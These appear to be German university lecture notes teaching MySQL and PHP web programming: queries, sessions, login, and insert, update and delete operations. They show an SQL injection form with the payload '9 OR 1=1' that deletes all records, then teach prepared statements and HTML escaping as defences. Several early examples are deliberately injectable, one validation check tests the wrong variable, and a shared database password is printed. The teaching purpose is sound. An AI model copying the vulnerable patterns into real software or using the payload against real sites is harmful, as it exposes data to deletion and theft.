MySQL ist die relationale Datenbank, die bei gemietetem Webspace am öftesten angeboten wird.
Hier wird nicht die Funktionsweise einer relationalen Datenbank erklärt (siehe Lehrveranstaltung im
1.Semester), sondern nur die Besonderheiten von MySQL und die für Web-Applikationen wichtigen
Aspekte.

3.2.1 MySQL Installation, Wiederholung, Dokumentation

MySQL ist im Paket XAMPP enthalten. (Man könnte die Datenbank auch separat von mysql.com her-
unterladen und installieren.) In der Standardinstallation ist ein Administrator-Account „root“ ohne
Passwort vorhanden. Die MySQL-Shell wird wie folgt gestartet:

> mysql –u username –p datenbankname


Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2 to server version: 5.0.27-community-nt

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql>

Ein Beispiel zur Orientierung in der Datenbank des mma-Portfolios

> mysql –u mmtuser –p mma

Das Passwort lautet „geheim!“. Die weiteren Code-Beispiele sind alle ein bisschen gekürzt.
MMT Webprogrammierung 2 43

Show Tables zeigt alle Tabellen in der aktuellen Datenbank:

mysql> show tables;


+---------------+
| Tables_in_mma |
+---------------+
| macht |
| media |
| media_werk |
| person |
| staff |
| student |
| werk |
+---------------+
24 rows in set (0.00 sec)

Describe zeigt den Aufbau einer bestimmten Tabelle:

mysql> describe person;


+------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+--------------+------+-----+---------+----------------+
| pid | bigint(20) | | PRI | NULL | auto_increment |
| uid | varchar(8) | YES | MUL | NULL | |
| vorname | varchar(40) | | | | |
| nachname | varchar(50) | | | | |
| profil | text | | | | |
| mail | varchar(40) | YES | MUL | NULL | |
| web | varchar(200) | YES | | NULL | |
| blog | varchar(200) | YES | | NULL | |
| feed | varchar(200) | YES | | NULL | |
| title | varchar(10) | YES | | NULL | |
| isfemale | tinyint(4) | | | 0 | |
| bildpfad | varchar(250) | YES | MUL | NULL | |
| ifshow | tinyint(4) | | | 0 | |
| facebookid | bigint(20) | YES | | NULL | |
+------------+--------------+------+-----+---------+----------------+
14 rows in set (0.00 sec)

Select und Join funktionieren wie erwartet:

mysql> select pid,vorname from person limit 1,8;


+-----+-------------+
| pid | vorname |
+-----+-------------+
| 2 | Paul |
| 3 | Edvard Paul |
| 4 | Sandra |
| 5 | Philipp |
| 6 | Antal |
| 7 | Sebastian |
| 8 | Johannes |
| 9 | Ivan |
+-----+-------------+
10 rows in set (0.00 sec)

Die Details zu SQL in MySQL (Abweichungen vom Standard, Erweiterungen) kann man der Dokumen-
tation entnehmen die Online unter http://dev.mysql.com/ erreichbar ist.
MMT Webprogrammierung 2 44

Abbildung 18: Dokumentation von MySQL auf http://dev.mysql.com/

Ein häufig verwendetes Tool ist der phpMyAdmin, der ein Interface am Web zur Verfügung stellt. Am
gemeinsamen MMA/MMT-Server ist er unter der Adresse https://multimediaart.at/phpmyadmin/ zu
finden.

Abbildung 19: phpMyAdmin

Über phpMyAdmin kann man viele SQL-Abfragen durch Point+Klick formulieren. Das lehrreiche daran:
phpMyAdmin zeigt immer das SQL-Statement mit an — auf diese Art kann man einfach SQL lernen.
Besonders praktisch ist das beim Anlegen und Verändern von Tabellen. Erster Schritt: Name der Ta-
belle:
MMT Webprogrammierung 2 45

Zweiter Schritt: Spalten definieren:

Dritter Schritt: Tabelle wird angelegt und dazugehörendes SQL-Statement angezeigt:

3.2.2 MySQL von PHP aus

Um von PHP auf die Datenbank zuzugreifen gibt es verschiedene Schnittstellen. Hier wird die „MySQL
Improved Extension“ (myslqi) vorgestellt.

So funktioniert der Verbindung-Aufbau (und -Abbau) zur mysql-Datenbank:

<?
$db = mysqli_connect ("localhost", "username", "passwort", "datenbank")
or die ("Kein Zugriff auf die Datenbank mit dem Namen mmt");
echo ("Zugriff zur Datenbank OK");
mysqli_close($db);
echo ("Verbindung zur Datenbank wieder beendet");
?>

Es gibt noch keinen tollen Output - wir haben bisher nur eine Verbindung zur Datenbank, aber haben
noch keine Daten abgefragt.

Eine Abfrage aus der Datenbank liefert eine ganze Tabelle von Daten (mehrere Datensätze). Man
braucht also eine Schleife um alle Datensätze abzuarbeiten. Innerhalb der Schleife erhält man den
einzelnen Datensatz als Array.

Betrachten Sie folgenden Code und finden Sie die Verbindung zur Datenbank: Wo sehen Sie den Na-
men der Tabelle? Die Namen der Spalten?
MMT Webprogrammierung 2 46

$ergebnis = mysqli_query ( $db, "SELECT * FROM person WHERE ifshow=1 LIMIT 1,10" );
while($person = mysqli_fetch_array($ergebnis)) {
echo($person["vorname"]);
echo("<br />");
}

Was müssten Sie verändern um den Nachnamen ebenfalls anzuzeigen?

Ein ganz wichtiges Grundprinzip beim Programmieren mit Datenbanken: Das Filtern und Berechnen
der Daten möglichst in der Datenbank erledigen und möglichst wenige Daten zu PHP übermitteln.
Folgender Ansatz wäre also ganz schlecht, besonders wenn viele Daten in der Datenbank sind:

$ergebnis = mysqli_query ( $db, "SELECT * FROM person" );


while($person = mysqli_fetch_array($ergebnis)) {
if( $person["ifshow"] == 1 ) {
echo($zeile["vorname"]);
echo("<br />");
}
}

Zu diesem Prinzip gehört auch die konsequente Verwendung der richtigen Datentypen in der Daten-
bank: zum Speichern eines Datums also DATE verwenden, das ermöglicht das Sortieren nach Datum
und Berechnungen wie „falls datum nicht älter als 100 Tage alt ist“

select titel,pub_datum from werk where datediff( curdate( ) , pub_datum ) <= 100;

Zeigt Titel und Publikations-Datum aller Werke die in den letzten 100 Tagen publiziert wurden.

3.3 Eine lesende Web-Applikation

Am Beispiel einer Mini-Applikation lernen Sie nun den typischen Aufbau einer solchen Applikation
kennen. Sie brauchen aber auf jeden Fall Webspace und eine eigene Datenbank auf dem MMT-
Server. Falls Sie das noch nicht haben bestellen Sie bei Yafes Sahin über die Webseite:
https://multimediatechnology.at/home/wunschdomain.php

Abbildung 20: Bestellung von Webspace und Datenbank am MMT-Server


MMT Webprogrammierung 2 47

Als Datenbank können Sie für die ersten Schritte die Datenbank des MMA Portfolios verwenden (Da-
tenbankname = mma). Diese Datenbank ist für Sie alle am MMT-Server zugänglich und enthält schon
viele Daten. Zugangsdaten siehe Kapitel 3.2.1.

Die fertige Applikation soll Werke und Personen anzeigen:

Abbildung 21: Homepage der Mini-Applikation

Die folgende Tabelle zeigt alle (geplanten) Seiten der Applikation im Überblick. Zu Jeder Seite wird
der Titel angeführt (wird auf der Seite angezeigt), der Dateiname der Seite (wichtig für die Verlin-
kung), eventuell notwendige Parameter und eine Beschreibung was die Seite anzeigt.

Titel Dateiname Parameter Beschreibung

Home index.php Zeigt Gesamtzahl der Personen und Werke an.

Personen personen.php Zeigt 10 zufällig ausgewählt Personen an, mit Links zu


person.php

Details person.php pid Zeigt Details zu einer bestimmten Person an: Anzahl der
zu einer (Schlüssel Werke und Username
Person der Person)

Werke werke.php Zeigt 10 zufällig ausgewählt Werke an, mit Links zu


werk.php

Details werk.php wid Zeigt Details zu einer bestimmten Werk an: Titel, Datum
zu einem (Schlüssel der Publikation, eventuell eine Liste der Beteiligten Perso-
Werk des Werks) nen und ihrer Rollen

Sie können die Applikation online ausprobieren unter


http://multimediatechnology.at/~bjelline/mini/werke.php
Eine ZIP-Datei mit der (fast) vollständigen Applikation finden Sie unter der Adresse
http://multimediatechnology.at/~bjelline/web-app-mini.zip
MMT Webprogrammierung 2 48

Jede einzelne Zeite ist – wie in Kapitel 1.2.2 beschrieben – mit Hilfe von includes aufgebaut. Dabei
werden immer die Dateien functions.php (mit der Datenbank-Verbindung) header.php und foo-
ter.php inkluidert.

<?php

$pagetitle = "Titel der Seite";

include "functions.php";
include "header.php";

// hier passiert die eigentliche Arbeit

include "footer.php";

?>

3.3.1 Viele Datensätze aus der Datenbank lesen

In der Datei werke.php finden Sie ein Beispiel für die Auflistung von mehreren Datensätzen:

echo "<p>10 zuf&auml;llige Werke:</p> <ul>";


$ergebnis = mysqli_query ( $db, "SELECT * FROM werk ORDER BY RAND() LIMIT 1,10" );
while($werk = mysqli_fetch_array($ergebnis)) {
echo("<li>$werk[titel] $werk[pub_date]</li>");
}
echo("</ul>");

3.3.2 Einzelne Daten aus der Datenbank lesen

In der Datei home.php finden Sie zwei Beispiele für das Lesen einzelner Daten. Mit der SQL-Funktion
COUNT() wir die Anzahl der Werke in der Datenbank bestimmt.

$ergebnis = mysqli_query ( $db, "SELECT COUNT(*) AS anzahl FROM werk" );


$datensatz = mysqli_fetch_array($ergebnis);
$anz_werke = $datensatz['anzahl'];
echo("<p>Es befinden sich $anz_werke Werke in der Datenbank</p>");

3.3.3 Einen bestimmten Datensatz lesen

Wenn Sie die Datei person.php mit einem Parameter aufrufen person.php?pid=586 soll eine bestimm-
te Person aus der Datenbank angezeigt werden. Dafür wird der Parameter aus dem $_GET – Array
ausgelesen und sicher gestellt, dass es sich wirklich um eine Zahl handelt.

In der Datenbank sind Personen, deren Profil nicht angezeigt werden soll, mit ifshow=0 gekennzeich-
net. Im SQL-Statement wird sicher gestellt, dass nur sichtbare Personen angezeigt werden. Das Er-
gebnis der Abfrage kann also sein, dass keine Person gefunden wurde – entweder weil unter diesem
Schlüssel gar keine gespeichert ist, oder weil ifshow=0 ist. In diesem Fall gibt mysqli_fetch_array kein
Array sondern der Wert FALSE zurück.
MMT Webprogrammierung 2 49

$pid = $_GET['pid'];
if( (int) $anzahl != $anzahl ) {
echo("Error !");
}
else {
$ergebnis = mysqli_query ( $db, "SELECT * FROM person WHERE ifshow=1 AND pid=$pid" );
$person = mysqli_fetch_array($ergebnis);
if( $person == FALSE ) {
echo "<p>Konnte keine passenden Daten aus der Datenbank lesen.</p>";
}
else {
// Darstellung der Person
}
}

Die Darstellung der einzelnen Person ist noch nicht fertig programmiert: der Username wird zwar
angezeigt, aber nicht die Anzahl der Werke der Person. Das müssen Sie selbst ausprogrammieren.
Für die Ausgabe des HTML-Codes wird die Heredoc-Schreibweise6 verwendet um die Ausgabe von
Variablen und die Verwendung von Anführungszeichen kombinieren zu können.

if( $person['isfemale'] ) {
$anrede = "Frau";
$ersie = "Sie";
} else {
$anrede = "Herr";
$ersie = "Er";
}

echo <<<EOM

<p><img src="http://multimediaart.at/media/profil/$person[bildpfad]" />


$anrede $person[vorname] $person[nachname] hat insgesamt x Werke in dieser Datenbank.
$ersie hat den Usernamen $person[uid].</p>

EOM;

In der Datei personen.php wird zu jeder Person ein passender Link zu person.php angezeigt:

echo <<<EOM
<li>
<b>$person[vorname] $person[nachname]</b>
<a href="person.php?pid=$person[pid]">mehr</a>
</li>
EOM;

Achtung: diese Verlinkung schützt nicht davor, dass böse User einfach eine URL mit ganz andere pid
„von Hand“ eingeben!

http://multimediatechnology.at/~bjelline/mini/person.php?pid=666

In der Datei werke.php fehlt eine entsprechende Verlinkung zu werk.php. Diese Verlinkung und die
Implementierung von werk.php müssen Sie selbst noch ergänzen.

6
http://at.php.net/manual/de/language.types.string.php#language.types.string.syntax.heredoc
MMT Webprogrammierung 2 50

3.3.4 Datensätze suchen

In der Datei psuche.php wird ein Formular zur Suche nach Vornamen angezeigt:

<form action="suche.php" method="get">


Suche nach einer Person mit dem Vornamen <input name="suchwort" /> <input type="submit" />
</form>

Die eigentliche Suche geschieht über das WHERE-Statement in SQL:

... WHERE vorname LIKE '$suchwort'

Wir werden uns später noch genauer mit der Sicherheitsproblematik von SQL-Statements befassen,
die teilweise aus User-Input entstehen. Noch ignorieren wir die Problematik und schreiben einfach:

echo("<p>Suche nach '$suchwort'</p><ol>");


$ergebnis = mysqli_query ( $db,
"SELECT * FROM person WHERE ifshow=1 AND vorname LIKE '$suchwort' " );
$found = 0;
while($person = mysqli_fetch_array($ergebnis)) {
$found++;
// echo ...
}
echo("</ol>");
echo("<p>$found Personen gefunden</p>");

Eine entsprechende Suche nach Werken unter dem Titel wsuche.php müssen Sie erst selbst imple-
mentieren.

3.3.5 Bilanz

Sie können nun eine Web-Applikation erstellen, die Daten aus der Datenbank liest. Der nächste logi-
sche Schritt ist das Schreiben in die Datenbank mit INSERT-Statements. Damit werden wir uns im
nächsten Kapitel befassen.
MMT Webprogrammierung 2 51

4. Login, Sessions und Datenbank verändern


Mit Sessions wird ein Login ermöglicht. Der Zugriff von PHP auf die Datenbank MySQL wird erweitert:
Löschen von Daten, Einfügen von Daten, Bearbeiten von Daten.

4.1 Ziele

Was Sie alle wissen sollten

• Das HTTP ohne Cookies stateless ist. Wie Cookies funktionieren.

• Wie Login / Logout mit Hilfe der Session realisiert werden kann

• Welche Sicherheitsprobleme bei der Verwendung von User-Input in einem SQL-Statement


auftreten.

• Wie Daten vom Web für SQL escaped werden müssen.

• Wie Daten aus der Datenbank für HTML escaped werden müssen.

Was Sie können sollten

• Mit Prepared Statements (mysqli_prepare, mysqli_bind_param und mysqli_stmt_execute)


arbeiten
MMT Webprogrammierung 2 52

4.2 Session und Login

Bis jetzt war jeder Zugriff auf die Webapplikation unabhängig von jedem anderen Zugriff: die PHP-
Applikation weiß nicht, ob 10 verschiedene Leute die Homepage abrufen oder ob eine Person die
Seite 10mal lädt.

Das ist eine Grundeigenschaft von HTTP: es ist „stateless“ (im Gegensatz zu „statefull“).

Also kann man mit HTTP alleine – wie wir es bisher kennen – kein „Login“ schaffen. Um zu wissen,
dass ein User eingeloggt ist müsste er ja „wiedererkannt“ werden. Genau das macht den „state“ aus.

4.2.1 Cookies

Um das zu ermöglichen wurde das HTTP-Protokoll um die sogenannten „Cookies“ erweitert: Ein Coo-
kie besteht aus bis zu 4096 Bytes Daten, die der Webbrowser lokal speichert, und bei jedem Zugriff
auf den Webserver wieder mitsendet. Der Browser sendet nie ein Cookie an einen anderen Webser-
ver als den von dem er es erhalten hat. Er kann aber viele verschiedene Cookies von verschiedenen
Servern speichern (In einem Cookie-Jar).

Abbildung 22: Cookie wird gesetzt und bei jedem weiteren Request gesendet

An Hand dieses Cookies kann eine Webapplikation einen bestimmten User wiedererkennen. Cookies
können vom Server gesetzt werden, mit dem HTTP-Header Set-Cookie. Dabei wird der Name des
Cookies angegeben, der Wert der gespeichert werden soll, und der Gültigkeitsbereich und Zeitraum:
MMT Webprogrammierung 2 53

Set-Cookie: style=gelb
Set-Cookie: style=gelb; path=/admin/
Set-Cookie: style=gelb; expires=Tue, 29-Mar-2015 19:30:42 GMT; path=/admin/

Die einzige Art ein Cookie zu löschen ist ein Cookie mit gleichem Namen und Ablaufdatum in der
Vergangenheit zu setzen:

Set-Cookie: style=wurscht; expires=Tue, 29-Mar-2005 19:30:42 GMT; path=/admin/

Cookies in PHP

In PHP finden Sie die bereits gesetzten Cookies, die vom Browser zurückgesendet wurden, im Array
$_COOKIES (und — zusammen mit GET und POST-Parametern — in $_REQUEST). Neue Cookies kön-
nen Sie mit setcookie() setzen.

Cookies in Javascript

Im Client können Cookies mit Javascript gelesen und geschrieben werden: über die Eigenschaft docu-
ment.cookie des Dokument-Objekts.

Achtung: beim lesenden Zugriff auf diese Eigenschaft enthält man einen String mit allen Cookies, die
gerade gültig sind.

Zum Setzen von neuen Cookies wird auf die Eigenschaft zugewiesen. Zum Setzen mehrere Cookies
wird wiederholt zugewiesen — das hat aber (noch) keinen Einfluß auf den Wert den man aus docu-
ment.cookie auslesen kann:

alert(document.cookie); // Zeigt die gültigen Cookies


document.cookie = "farbe:grün";
document.cookie = "anzahl: 3";
document.cookie = "passwort: total super geheimes aber recht langes passwort";
alert(document.cookie); // Zeigt immer noch die ALTEN Cookies !!!

Erst wenn ein neuer Request an den Server erfolgt, werden die neu gesetzten Cookies mit gesendet:
erst wenn die Antwort wieder dargestellt wird, sind die neuen Cookies in Javascript über docu-
ment.cookie lesbar!

4.2.2 Session

PHP kann das Setzen des Cookies automatisch erledigen, und geht sogar noch einen Schritt weiter:

Mit dem Befehle session_start() wird

o …beim ersten Aufruf automatisch ein Cookie gesetzt. Wenn danach Daten im Array
$_SESSION Daten gespeichert werden, dann sorgt PHP dafür dass die Daten am Server per-
manent gespeichert werden, also beim nächsten Programmaufruf wieder zur Verfügung ste-
hen.

o …bei jedem weiteren Aufruf die Session an Hand des Cookies wieder identifiziert, und die Da-
ten wieder ins $_SESSION-Array geladen.
MMT Webprogrammierung 2 54

Für unsere Applikation werden wir das verwenden, um den Usernamen des angemeldeten Users zu
speichern. session_start() wird in functions.php ausgeführt, also bei jedem Aufruf einer der Seiten
der Applikation. Die Applikation zeigt direkt in der Navigationsleiste die Login/Logout-Möglichkeit
und den Namen des eingeloggten Users an:

Abbildung 23: Anzeige des Usernamens und Login/Logout-Möglichkeit

Das Login-Formular sieht ganz einfach aus und sendet die Daten mit POST:

Abbildung 24: Login-Formular der Applikation

Username und Passwort werden überprüft, falls Sie passen wird der Username in der Session gespei-
chert:

if ( strlen($username) > 0 and check_login( $username, $passwort ) ) {


$_SESSION['USER'] = $username;
header("Location: index.php");
exit;
}

Nach dem gelungen Login kann man jede beliebige Seite der Applikation aufrufen, immer wird im
Array $_SESSION der Username gespeichert sein. So kann er z.B. in der Navigation angezeigt werden
wie in Abbildung 23 gezeigt.

Das Logout erfolgt ebenfalls mit der Methode POST:

<form action="logout.php" method="post">


<input type="submit" value="Logout" />
</form>

Das Logout ist etwas umständlich zu Programmieren: das Cookie, das von PHP gesetzt wurde, muss
man nun selbst löschen. Dazu wird das „Ablaufdatum“ des Cookies auf ein Datum in der Vergangen-
heit gesetzt, dann wird der Browser es löschen.
MMT Webprogrammierung 2 55

// Löschen aller Session-Variablen.


$_SESSION = array();

// Löscht das Session-Cookie.


if (isset($_COOKIE[session_name()])) {
setcookie(
session_name(), // Cookie-Name war gleich Name der Session
'', // Cookie-Daten. Achtung! Leerer String hier hilft nicht!
time()-42000, // Ablaufdatum in der Vergangenheit. Erst das führt zur Löschung!
'/' // Wirkungsbereich des Cookies: der ganze Server
);
}
session_destroy();
header("Location: index.php")

Achtung: das Setzen und Löschen der Session-Cookies dauert immer einen Request länger als ge-
dacht! Deswegen ist eine Weiterleitung wie hier mit Location: sinnvoll.

Achtung: die Weiterleitung funktioniert nur, wenn noch keine Ausgabe erfolgt ist, also vor dem La-
den der header-include-Datei. Hier am Beispiel von login:

<?php
$pagetitle = "Login";
include "functions.php";

$username = $_POST['username'];
$passwort = $_POST['passwort'];

if ( strlen($username) > 0 and check_login( $username, $passwort ) ) {


$_SESSION['USER'] = $username;
header("Location: index.php");
exit;
}

include "header.php";

Eine Weiterleitung nach der Behandlung eines POST-Requests ist allgemein sinnvoll.
MMT Webprogrammierung 2 56

Abbildung 25: Login mit einer Weiterleitung

4.3 Web-Applikation mit Schreibrecht

Um eine Web-Applikation auszuprobieren, die nicht nur Daten lesen, sondern auch Daten löschen
und in die Datenbank schreiben kann, brauchen Sie nun die eigene Datenbank – die Datenbank mma
reicht nicht mehr aus, dort haben Sie keine Schreibrechte.

Um Daten in die eigene Datenbank zu laden finden Sie die Datei mma-portfolio-simple.sql in der
ZIP-Datei. Über die Kommandozeile können Sie diese Daten in Ihre private Datenbank laden:

> mysql –u username –p nameihrerdatenbank < mmy-portfolio-simple.sql

Danach können Sie die vorhandene Mini-Applikation so verändern, dass Sie auf Ihre eigene Daten-
bank zugreift. (Tipp: nur eine Zeile in einer Datei muss verändert werden!)

Titel Dateiname Request/ Beschreibung


Parameter

Login login.php GET Zeigt Login-Formular

Login Login.php POST Prüft Login + setzt Session.  Leitet weiter


username, passwort an index.php

Logout logout.php POST Löscht die Session. Leitet weiter an in-


dex.php
MMT Webprogrammierung 2 57

Person delete.php POST pid Löscht die Person mit der angegeben pid.
löschen

Person person_new.php GET Zeigt Eingabeformular für eine neue Per-


einfügen son

Person person_new.php POST Legt eine neue Person an.


uid,vorname,nachname,
einfügen profil,mail,web,
blog,feed,title,
isfemale,ifshow

Person person_edit.php GET pid Zeigt Bearbeitungs-Formuar an


bearbeiten

Person person_edit.php POST pid, vorname, Speichert neue Daten zur Person pid
nachname, profil,
bearbeiten

4.3.1 Daten löschen

Das Löschen könnte so einfach sein: Ein Programm mit namen delete.php, das als Parameter die id
der Person erhält, die gelöscht werden soll:

$pid = $_POST['pid'];
mysqli_query($db, "DELETE FROM person WHERE pid=$pid" );

Dieses Programm ist anfällig für folgende Attacke: Ein Aufruf mit einem selbst gebastelten Formular
setzt den Parameter pid auf Wert „9 OR 1=1“

<form method="post" action="delete.php" >


<input type="hidden" value="9 OR 1=1" name="pid"/>
<input type="submit" value="del all"/>
</form>

Das führt dazu, dass folgendes SQL-Statement ausgeführt wird:

DELETE FROM person WHERE pid=9 OR 1=1

Und dieses Statement löscht nicht einen Datensatz sondern alle Datensätze. Diese Art von Attacke
auf eine Web-Applikation nennt man „SQL Injection“.

SQL Injection verhindern

Dieses Problem kann vermeiden indem man die Eingabe genau überprüft. In diesem Beispiel also:
nur wenn es sich bei pid um eine ganze Zahl handelt, darf sie verwendet werde. Das wird hier mit
einer Regular Expression (die Sie noch nicht verstehen müssen) überprüft:
MMT Webprogrammierung 2 58

if( ! preg_match( '/^\d+$/', $pid ) ) {


error_log("hack: $pid statt id in delete.php.");
echo("Hack detected. Please stay at you computer until the police arrive.");
exit;
}

Der zweite Ansatz ist die Verwendung von „Prepared Statements“ in der Datenbank. Dabei wird der
SQL-Interpreter der Datenbank gänzlich umgangen.

Als erster Schritt wird mit prepare ein SQL-Statement mit Fragenzeichen als Platzhalter vorbereitet.
(Dieses SQL-Statement wird am Server schon mal geparsed und compiliert.) In einem zweiten Schritt
werden Daten an das Statement gebunden (bind), dabei muss man angeben ob es sich um einen
Integer-Wert (i), einen double-Wert (d) einen string(s) oder einen blob (b) handelt. Mit execute wird
dann das Statement ausgeführt.

$stmt = mysqli_prepare($db, "DELETE FROM person WHERE pid=?");


$ok = mysqli_bind_param($stmt, 'i', $pid);
mysqli_stmt_execute($stmt);

Die Schritte 2 und 3 können auch mehrfach ausgeführt werden, das ist effektiver als ein normales
mysqli_query zu wiederholen.

4.3.2 Daten einfügen

Hier das einfachste Programm, das ein neues Werk speichert:

mysqli_query( $db, "INSERT INTO werk (titel) VALUES ('$_POST[titel]')" );

Das funktioniert für viele Eingabe, aber was passiert wenn ein Werk den Titel „That’s it“ haben soll?
Dann wird folgendes SQL-Statement ausgeführt:

INSERT INTO werk (titel) VALUES ('That's it')

Das kann nicht funktionieren. Für dieses Problem gibt es in PHP eine einfache und falsche Lösung:

Normalerweise verändert PHP automatisch alle Daten die über GET, POST und Cookies hereinkom-
men: vor alle Anführungszeichen wird ein Backslash eingefügt. Aus „That's it“ wird also automa-
tisch „That\'s it“ , das SQL-Statement funktioniert wieder:

INSERT INTO werk (titel) VALUES ('That\'s it')

Diese Automatik ist unter dem Namen „magic_quotes“ bekannt und kann in der Apache- oder PHP-
Konfiguration abgeschalten7 werden. Auf dem MMT-Server ist sie generell ausgeschalten. Sie sollten
das auf Ihrem lokalen Apache-Server auch tun:

7
http://at.php.net/manual/de/security.magicquotes.disabling.php
MMT Webprogrammierung 2 59

php_flag magic_quotes_gpc off

Mit folgendem Programm können Sie testen ob auf dem Server magic quotes ein- oder ausgeschal-
ten sind:

echo( (get_magic_quotes_gpc() ? "mit magic quotes" : "ohne magic quotes") );


echo("<pre>");
print_r($_POST);
echo("</pre>");

(In Wirklichkeit kann man Sie nicht ganz abschlalten8, aber das ignorieren wir besser. Das Problem
betrifft nur Array-Parameter .)

Wenn die magic quotes abgeschalten sind kann man das SQL-Problem besser lösen: mit prepared
Statements. Hier am Beispiel eines neuen Werkes:

$stmt = mysqli_prepare($db,
"INSERT INTO person
(uid, vorname, nachname, profil, mail, web, blog, feed, title, isfemale, ifshow)
VALUES (?,?,?,?,?,?,?,?,?,?,?)");
mysqli_bind_param($stmt, 'sssssssssii',
$_POST['uid'],
$_POST['vorname'],
$_POST['nachname'],
$_POST['profil'],
$_POST['mail'],
$_POST['web'],
$_POST['blog'],
$_POST['feed'],
$_POST['title'],
$_POST['isfemale'],
$_POST['ifshow']
);
mysqli_stmt_execute($stmt); // noch ohne Fehlerbehandlung

Der letzte Befehl mysqli_stmt_execute($stmt) liefert einen Boolschen Wert zurück um den Erfolg
oder Misserfolg der gesamten SQL-Anfrage anzuzeigen. Falls ein Fehler auftritt kann man mit mysq-
li_error($db) die Fehlermeldung der Datenbank auslesen.

if ( ! mysqli_stmt_execute($stmt) ) {
echo("Fehler beim Speichern in der Datenbank: ");
echo(mysqli_error($db));
echo(" Bitte gehen Sie zurück zum Formular!");
exit;
}

Aber so weit sollten Sie es nicht kommen lasse: Sie sollten die Eingaben aus dem Webformular schon
vor dem INSERT prüfen und dann ausführliche, vollständige, deutsche Fehlermeldungen ausgeben.

8
http://at2.php.net/get_magic_quotes_gpc#49612
MMT Webprogrammierung 2 60

Abbildung 26: Fehlermeldung der Datenbank vs. selbst gestaltete Fehlermeldung

Falls das Einfügen der Daten funktioniert hat und in der Tabelle ein autoincrement-Feld als Primär-
schlüssel vorhanden ist, kann man den Wert des Schlüssels im neuen Datensatz auslesen und weiter
verwenden:

$pid = mysqli_insert_id($db);
header("Location: person.php?pid=$pid");

Auch hier ist eine Weiterleitung direkt nach dem POST-Request sinnvoll: nach dem Einfügen des Da-
tensatzes wird direct auf die Anzeige des neuen Datensatzes weitergeleitet. Falls man danach auf
„Reload“ drückt wird der Datensatz neu angezeigt, aber keinesfalls ein zweites Mal eingefügt.

4.3.3 Einen Datensatz bearbeiten

Wir wollen einen Datensatz aus der Datenbank laden, in einem Formular zur Bearbeitung anbieten,
und dann wieder in der Datenbank speichern.

Abbildung 27: Formular zum Bearbeiten einer Person

Das Lesen des Datensatzes aus der Datenbank erfolgt nun auch mit einem prepared Statement:

$stmt = mysqli_prepare($db, "SELECT pid,vorname,nachname,profil FROM person WHERE pid=?");


mysqli_bind_param($stmt, 'i', $_GET['pid']);
mysqli_stmt_execute($stmt);
mysqli_bind_result($stmt, $pid,$vorname,$nachname,$profil);
mysqli_stmt_fetch($stmt) or die("konnte den datensatz nicht laden");

Bei der Darstellung des Bearbeitungs-Formulars werden die Daten nun als Standardwerte dargestellt.
Das passiert bei Textfeldern mit dem Value-Attribute und bei Textareas als Inhalt des Tags:
MMT Webprogrammierung 2 61

<input name="vorname" value="Tobias" />


<textarea name="profil" rows="7">Webdesigner und Programmierer.</textarea>

Achtung: Falls in den Daten Anführungszeichen, kaufmännische Unds oder Kleiner-Zeichen vorkom-
men müssen diese für HTML escaped werden. Hier ein Beispiel in MySQL:

mysql> select vorname,profil from person where pid=538;


+---------------------+-----------------------------+
| vorname | profil |
+---------------------+-----------------------------+
| Tobias "the coder" | Mein Lieblings-Tag: <style> |
+---------------------+-----------------------------+
1 row in set (0.00 sec)

So würde die Darstellung der Eingabefelder nicht funktionieren:

<input name="vorname" value="Tobias "the coder" " />


<textarea name="profil" rows="7">Mein Lieblings-Tag: <style></textarea>

Richtig ist die Darstellung gewisser Zeichen als HTML entities:

<input name="vorname" value="Tobias &quot;the coder&quot; " />


<textarea name="profil" rows="7">Mein Lieblings-Tag: &lt;style&gt;</textarea>

Diese Ersetzung wird mit der Funktion htmlspecialchars vorgenommen:

$vorname = htmlspecialchars( $vorname );

Zusammenfassend sieht die Darstellung des Eingabeformulars so aus:

// $pid muss man nicht escapen, das ist blos ein integer
$vorname = htmlspecialchars( $vorname );
$nachname = htmlspecialchars( $nachname );
$profil = htmlspecialchars( $profil );

echo <<<EOM
<form action="person_edit.php" method="post">
<input type="hidden" name="pid" value="$pid" />
<p><label for="vorname">Vorname</label> <input name="vorname" value="$vorname" /></p>
<p><label for="nachname">Nachname</label> <input name="nachname" value="$nachname" /></p>
<p><label for="profil">Profil</label>
<textarea name="profil" rows="7" cols="40" >$profil</textarea></p>
<p><span class="leftcol"></span><input type="submit" value="speichern" /></p>
</form>
EOM;

Die veränderten Daten werden mit POST an person_edit.php geschickt. Aus den Daten wird ein UP-
DATE-Statement erstellt:
MMT Webprogrammierung 2 62

if( $_POST['pid'] ) {

$stmt = mysqli_prepare($db,
"UPDATE person SET
vorname = ?,
nachname = ?,
profil = ?
WHERE
pid=?");

mysqli_bind_param($stmt, 'sssi',
$_POST['vorname'],
$_POST['nachname'],
$_POST['profil'],
$_POST['pid']
);

if( ! mysqli_stmt_execute($stmt) ) {
echo("Fehler beim Speichern in der Datenbank: ");
echo(mysqli_error($db));
exit;
}

header("Location: person.php?pid=$_POST[pid]");

4.3.4 Escapen von HTML

Das Escapen der Daten für HTML hätten wir von Anfang an bei jeder Ausgabe von Daten aus der Da-
tenbank zu müssen. Also auch schon in Kapitel 3.3 beim Anzeigen der Daten. Damals haben wir ein-
fach die Daten direkt mit echo ausgegeben:

echo <<<EOM
$anrede $person[vorname] $person[nachname] hat insgesamt x Werke in dieser Datenbank.
$ersie hat den Usernamen $person[uid].

$person[profil]
EOM

Wenn hier im Profil wieder „Mein Lieblings-Tag ist <style>“ steht, und dieser Text einfach ausgege-
ben wird, dann „verschwindet“ der Rest der Webseite, weil er sich nun innerhalb eines Style-Tags
befindet.

$bildpfad = htmlspecialchars( $person['bildpfad'] );


$uid = htmlspecialchars( $person['uid' ] );
$vorname = htmlspecialchars( $person['vorname' ] );
$nachname = htmlspecialchars( $person['nachname'] );
$profil = htmlspecialchars( $person['profil' ] );

echo <<<EOM
<p><img src="http://multimediaart.at/media/profil/$bildpfad" style="float:right" />
$anrede $vorname $nachname hat insgesamt x Werke in dieser Datenbank.
$ersie hat den Usernamen $uid.</p>

<div>$profil</div>
EOM;

Damit funktioniert nun die Darstellung des Datensatzes richtig:


MMT Webprogrammierung 2 63

Abbildung 28: Korrekte Darstellung eines Datensatzes mit kleiner-Zeichen

4.3.5 Darstellen von HTML

Im letzten Beispielen wurde der eingegebene HTML-Tag sichtbar auf der Webseite angezeigt. Wie
kann man HTML-Tags eingeben, abspeichern, und als HTML-Tags wieder anzeigen?

Gefahren

